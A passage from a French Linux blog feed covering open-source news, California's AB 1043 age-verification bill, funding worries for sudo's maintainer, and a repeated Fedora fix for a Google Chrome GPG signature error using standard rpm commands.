Sudo est indispensable, et le laisser péricliter serait une catastrophe, il est d'ailleurs recommandé dans le guide de l'ANSSI.
Liens : https://www.millert.dev/

10. VIM 9.2 est là !
Mon éditeur de texte préféré, Vim, passe en version 9.2 avec des nouveautés très particulières.
Le langage de script maison a été optimisé, ce qui rend les plugins (coloration, Rust, etc.) bien plus rapides.
Un support pour Wayland natif sans passer par la couche XWayland. Cela règle enfin les problèmes de copier-coller capricieux entre le terminal et le bureau graphique.
Autre point : Vim respecte enfin le standard XDG, on peut donc ranger son fichier de configuration dans .config/vim/ et plus à la racine du dossier personnel !
C'est un logiciel qui se bonifie avec le temps, comme du bon vin (à une lettre près !).
Le mode "diff" a également été amélioré.
Même si beaucoup utilisent Nano par défaut, Vim reste assez incontournable.
Vim prouve qu'un logiciel de 30 ans peut encore innover et s'adapter aux technologies modernes.
Liens : https://www.vim.org/vim-9.2-released.php

11. GrapheneOS s'associe à Motorola
GrapheneOS, considéré comme l'OS mobile le plus sécurisé au monde, s'émancipe des Google Pixel. Un partenariat historique a été annoncé avec Motorola pour porter ce système durci sur leur matériel. Jusqu'ici, seuls les Pixel offraient les puces de sécurité (comme la Titan M) exigées par le projet.
Motorola a accepté de modifier son matériel pour répondre aux critères de sécurité drastiques de GrapheneOS.
C'est une excellente nouvelle pour les journalistes qui veulent pouvoir communiquer en sécurité par exemple et les utilisateurs soucieux de leur vie privée. On pourra enfin avoir un téléphone "dégooglisé" et durci sans rester dans l'écosystème Google.
GrapheneOS restera toutefois contraignant, car certaines applications bancaires refusent de fonctionner sans les services Google. Mais pour un usage sécurisé et privé, c'est une option qui devient enfin accessible sur plus de modèles. On attend de voir quels smartphones Motorola seront les premiers compatibles.
Liens : https://motorolanews.com/motorola-three-new-b2b-solutions-at-mwc-2026/

12. L'ANSSI met à jour sa politique opensource !
On a terminé le live avec une nouvelle réjouissante : l'ANSSI a publié sa nouvelle politique en faveur du logiciel libre. L'agence s'engage sur quatre axes, dont la publication de ses propres outils de cybersécurité en open source. Elle privilégiera désormais la contribution aux projets existants plutôt que de réinventer la roue dans son coin. L'objectif est d'utiliser le libre comme un standard de transparence et de maîtrise de nos environnements numériques.
C'est un cercle vertueux : nos impôts financent des améliorations qui profitent à tout l'écosystème.
Cela rejoint ce qu'on disait sur PrimTux : l'État français commence enfin à comprendre l'intérêt stratégique du libre. L'ANSSI ne s'interdit pas le propriétaire mais considère le libre comme un gage de fiabilité auditable.
C'est une bonne nouvelle pour le libre et un pas de plus vers la souveraineté nationale.
Liens : https://cyber.gouv.fr/actualites/lanssi-met-a-jour-sa-politique-open-source/

Et voilà, j'espère que ce résumé vous a plu !

California AB 1043 : Le monde Linux dans la tourmente ?

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Oui j'écris un peu plus sur le blog en ce moment, vous avez l'air d'aimer.
Bon, OK des fois je suis un peu dans l'excès.

Mais après sudo, une nouvelle "tempête" législative se prépare en Californie, et peuvent entrainer quelques concepts du logiciel libre.
Il s'agit du projet de loi AB 1043 (lien dans le descriptif), visant à imposer une vérification de l'âge sur les plateformes en ligne, ET les logiciels. Ce qui place des distributions comme Ubuntu, Fedora, Linux Mint et au final les distributions Linux face à un dilemme existentiel : se conformer à une surveillance intrusive ou couper l'accès aux utilisateurs californiens.

Alors j'ai lu un peu le truc, demandé quelques renseignements à mes connaissance aux US en Californie.

De ce que j'en ai compris, l'intention de l'AB 1043 est de "protéger les mineurs" en obligeant les plateformes en ligne qui hébergent du contenu potentiellement nocif (ou qui permettent des interactions sociales) à vérifier l'âge de leurs utilisateurs de manière "raisonnablement fiable".
Si l'idée semble louable sur le papier, le texte est jugé extrêmement flou par les experts juridiques et techniques. Il pourrait s'appliquer non seulement aux réseaux sociaux, mais aussi aux dépôts de logiciels, aux forums de discussion et aux sites de téléchargement d'images ISO.

Mais il y a un problème avec la philosophie Open Source dans l'histoire... en fait je vois 3 problèmes :
- Le premier, l’anonymat et la vie privée : Le principe de base de Linux est de pouvoir télécharger un système d'exploitation et ses mises à jour sans avoir à décliner son identité. Imposer une vérification d'âge implique de collecter des données personnelles (pièces d'identité, reconnaissance faciale ou cartes bancaires), ce qui va à l'encontre de la protection de la vie privée prônée par Fedora ou Ubuntu.
- Le second, l'impossibilité technique des "miroirs" : Les distributions Linux s'appuient sur un réseau mondial de serveurs miroirs, qui sont souvent gérés par des universités ou des bénévoles. Il est techniquement et financièrement impossible d'obliger chaque petit serveur miroir à implémenter un système de vérification d'âge complexe et coûteux.
- Le troisième, la responsabilité juridique : Les développeurs craignent d'être tenus pour responsables si un mineur télécharge un outil de "hacking", entraînant des amendes colossales.

On a déjà Ubuntu qui a mis un message sur ses listes de diffusion et Fedora qui a commencé une discussion sur le discuss (liens dans les sources).
Il y a des échanges assez vifs déjà, ça fait plus débat que systemd on dirait :)

Du côté d'Ubuntu (Société Canonical) : Étant une entreprise commerciale avec des intérêts aux États-Unis, Canonical est particulièrement exposée. Les développeurs ont évoqué la possibilité de restreindre l'accès à certains services ou de mettre en place des barrières pour les adresses IP localisées en Californie si la loi passe en l'état.
Du côté de Fedora (Société Red Hat/IBM) : On s'inquiète de l'impact sur l'infrastructure. Si chaque utilisateur doit être "approuvé", cela casse le modèle de distribution directe. La question de savoir si un système d'exploitation est un "service en ligne" au sens de la loi est au cœur des débats.

On a aussi un risque du Geo-blocking : La solution la plus radicale, mais facilement contournable mais la plus probable si aucune exemption n'est accordée. Certaines distributions envisagent simplement d'interdire le téléchargement de leurs ISO depuis la Californie pour éviter tout risque juridique.

Ce qui se joue en Califorle peut être très dangereux je pense...
En fait, si la Californie (quatrième puissance économique mondiale) impose cette norme, d'autres États ou pays pourraient suivre. Pour les distributions comme Linux Mint, qui disposent de moins de ressources juridiques que des géants comme Red Hat, l'application d'une telle loi pourrait signifier l'arrêt pur et simple de certains services communautaires dans ces régions.


En quelques mots, j'ai l'impression que cet AB 1043 transforme un acte simple et libre (télécharger un OS) en un parcours d'identification bureaucratique. Je pense que les communautés Linux observent désormais de près les amendements possibles, espérant une exemption pour les logiciels libres et les organisations à but non lucratif.

A suivre.

Et vous, quel est votre avis ?

Sudo est en danger, et tout le monde s'en moque. !

✇Actualités - Linuxtricks.fr
Bonjour à tous,

A travers cet article, je souhaite évoquer l'outil sudo, que je qualifierais de colosse aux pieds d'argile !

Je vais en parler lors des actus du libre de février présenté sur Twitch ce mercredi à 20h, mais je me dis que ça peut être sympa d'aborder le sujet sur le blog.

Sudo est d'ailleurs recommandé dans le guide de l'ANSSI : https://messervices.cyber.gouv.fr/guides/recommandations-de-securite-relatives-un-systeme-gnulinux

Alors que beaucoup d'infras reposent sur l’outil Sudo, son unique mainteneur cherche désespérément un sponsor depuis deux ans. Une situation qui me rappelle étrangement la crise d’OpenSSL en 2014 et qui révèle que nous n'avons tiré aucune leçon du passé.

C’est un message discret, presque invisible, posté sur une page personnelle du mainteneur :
"Todd Miller" :
Depuis plus de 30 ans, je suis le mainteneur de Sudo. Je suis actuellement à la recherche d'un sponsor pour financer la maintenance et le développement continu.


Depuis février 2024, cet appel à l’aide est resté lettre morte, ignoré par les géants de la tech qui utilisent pourtant son code chaque seconde.

Rappelez-vous, en 2014, la faille Heartbleed qui avait paralysé le Web.
On avait alors découvert avec stupeur qu'OpenSSL, une brique critique de la sécurité mondiale, était maintenu par une poignée de bénévoles avec un budget annuel dérisoire de 2 000 dollars !!!!!

Sudo est dans une position encore plus critique. Présent sur quasiment tous les systèmes Unix, Linux et même macOS, il est l'outil que tout le monde utilise, souvent sans même y réfléchir, pour obtenir des privilèges d'administrateur. Si Sudo tombe, c'est toute la gestion des accès aux serveurs mondiaux qui s'effondre.

On a déjà eu un certain nombre d'avertissements avec cet outil : Sudo n’est pas invulnérable, et les failles récentes montrent l’urgence de maintenir un développement rigoureux.
Voici quelques exemples :
- CVE-2021-3156 (Baron Samedit) : Une faille présente depuis près de 10 ans qui permettait à n’importe quel utilisateur local d’obtenir les droits root.
- CVE-2025-32463 : Une vulnérabilité critique (notée 9.3/10) découverte récemment, permettant une élévation de privilèges via la gestion du chroot.

La CISA (l’agence américaine de cybersécurité) a d'ailleurs dû intervenir en urgence pour ordonner aux agences fédérales de corriger ces failles exploitées activement.

On est toujours dans le paradoxe du financement Open Source... on n'intervient que lorsque c'est critique. Tant que Sudo fonctionne, personne ne juge nécessaire de payer ou de financer via d'autres moyens tels que de la main d'oeuvre.

Ironie du sort, il existe l’Open Source Security Foundation (OpenSSF) qui a été créée précisément pour éviter qu’une infrastructure critique ne repose sur les épaules d’un seul homme non financé. Pourtant, deux ans après son appel, Todd Miller attend toujours.

Je pense qu'il y a un risque majeur pour l'avenir si on n'y prend pas garde !
Si l'industrie ne réagit pas, le prochain "Sudo-gate" ne sera pas une simple faille logicielle, mais le résultat d'un abandon financier.

On a payé des ingénieurs des fortunes pour créer des applications à la con qui affichent des chats animés par IA, tout en laissant un mainteneur d'un composant de gestion de droits d'accès mendier...

Et de l'autre côté, on a Canonical qui redéveloppe sudo en Rust, au lieu de fiabiliser notre sudo original écrit en C, qui fonctionne bien.
Et ne me dites pas que Rust c'est bien parce que c'est sécurisé ! Un code C bien écrit et sécurisé peut être meilleur qu'un code Rust développé à l'arrach.
On a déjà eu 2 CVE en 2025 : CVE-2025-64517 et CVE-2025-64170 ( https://app.opencve.io/cve/?vendor=sudo-rs )

Que pensez-vous de cette situation avec sudo ?

Fedora et Google Chrome : Signature verification failed.

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Sur mes VMs de type RPM, la mise à jour est en échec si Google Chrome.

Cet article est aussi là pour info si vous avez des soucis avec d'autres logiciels et d'autres dépôts tiers.

Quand on met à jour le système, on peut constater cette erreur :
Code :
Transaction échouée : Échec de la vérification de la signature.
La clé publique "https://dl.google.com/linux/linux_signing_key.pub" est déjà présente, elle ne sera pas importée.
La vérification OpenPGP du paquet "google-chrome-stable-145.0.7632.109-1.x86_64" (/var/cache/libdnf5/google-chrome-6ed7e4f336f6863c/packages/google-chrome-stable-145.0.7632.109-1.x86_64.rpm) du dépôt "google-chrome" a échoué : La clé publique n'est pas installée.


La clé GPG de Google est dans un paquet RPM.

On peut requêter facilement via :
Code BASH :
rpm -q gpg-pubkey --qf '%{NAME}-%{VERSION}-%{RELEASE}\t%{SUMMARY}\n' | grep -i google


Ce qui renvoie sur ma machine :
Code :
gpg-pubkey-7fac5991-45f06f46    Google, Inc. Linux Package Signing Key  public key
gpg-pubkey-d38b4796-570c8cd3    Google Inc. (Linux Packages Signing Authority)  public key


On supprime cette clé en supprimant les paquets correspondants :
Code BASH :
rpm -evh gpg-pubkey-d38b4796-570c8cd3 gpg-pubkey-7fac5991-45f06f46


Et on réimporte la nouvelle clé :
Code BASH :
rpm --import https://dl.google.com/linux/linux_signing_key.pub


Et on peut réinstaller notre Google Chrome !

Fedora et Google Chrome : Signature verification failed.

✇Actualités - Linuxtricks.fr
Bonjour à tous,

Sur mes VMs de type RPM, la mise à jour est en échec si Google Chrome.

Cet article est aussi là pour info si vous avez des soucis avec d'autres logiciels et d'autres dépôts tiers.

Quand on met à jour le système, on peut constater cette erreur :
Code :
Transaction échouée : Échec de la vérification de la signature.
La clé publique "https://dl.google.com/linux/linux_signing_key.pub" est déjà présente, elle ne sera pas importée.
La vérification OpenPGP du paquet "google-chrome-stable-145.0.7632.109-1.x86_64" (/var/cache/libdnf5/google-chrome-6ed7e4f336f6863c/packages/google-chrome-stable-145.0.7632.109-1.x86_64.rpm) du dépôt "google-chrome" a échoué : La clé publique n'est pas installée.


La clé GPG de Google est dans un paquet RPM.

On peut requêter facilement via :
Code BASH :
rpm -q gpg-pubkey --qf '%{NAME}-%{VERSION}-%{RELEASE}\t%{SUMMARY}\n' | grep -i google


Ce qui renvoie sur ma machine :
Code :
gpg-pubkey-7fac5991-45f06f46    Google, Inc. Linux Package Signing Key  public key
gpg-pubkey-d38b4796-570c8cd3    Google Inc. (Linux Packages Signing Authority)  public key


On supprime cette clé en supprimant les paquets correspondants :
Code BASH :
rpm -evh gpg-pubkey-d38b4796-570c8cd3 gpg-pubkey-7fac5991-45f06f46


Et on réimporte la nouvelle clé :
Code BASH :
rpm --import https://dl.google.com/linux/linux_signing_key.pub


Et on peut réinstaller notre Google Chrome !
❌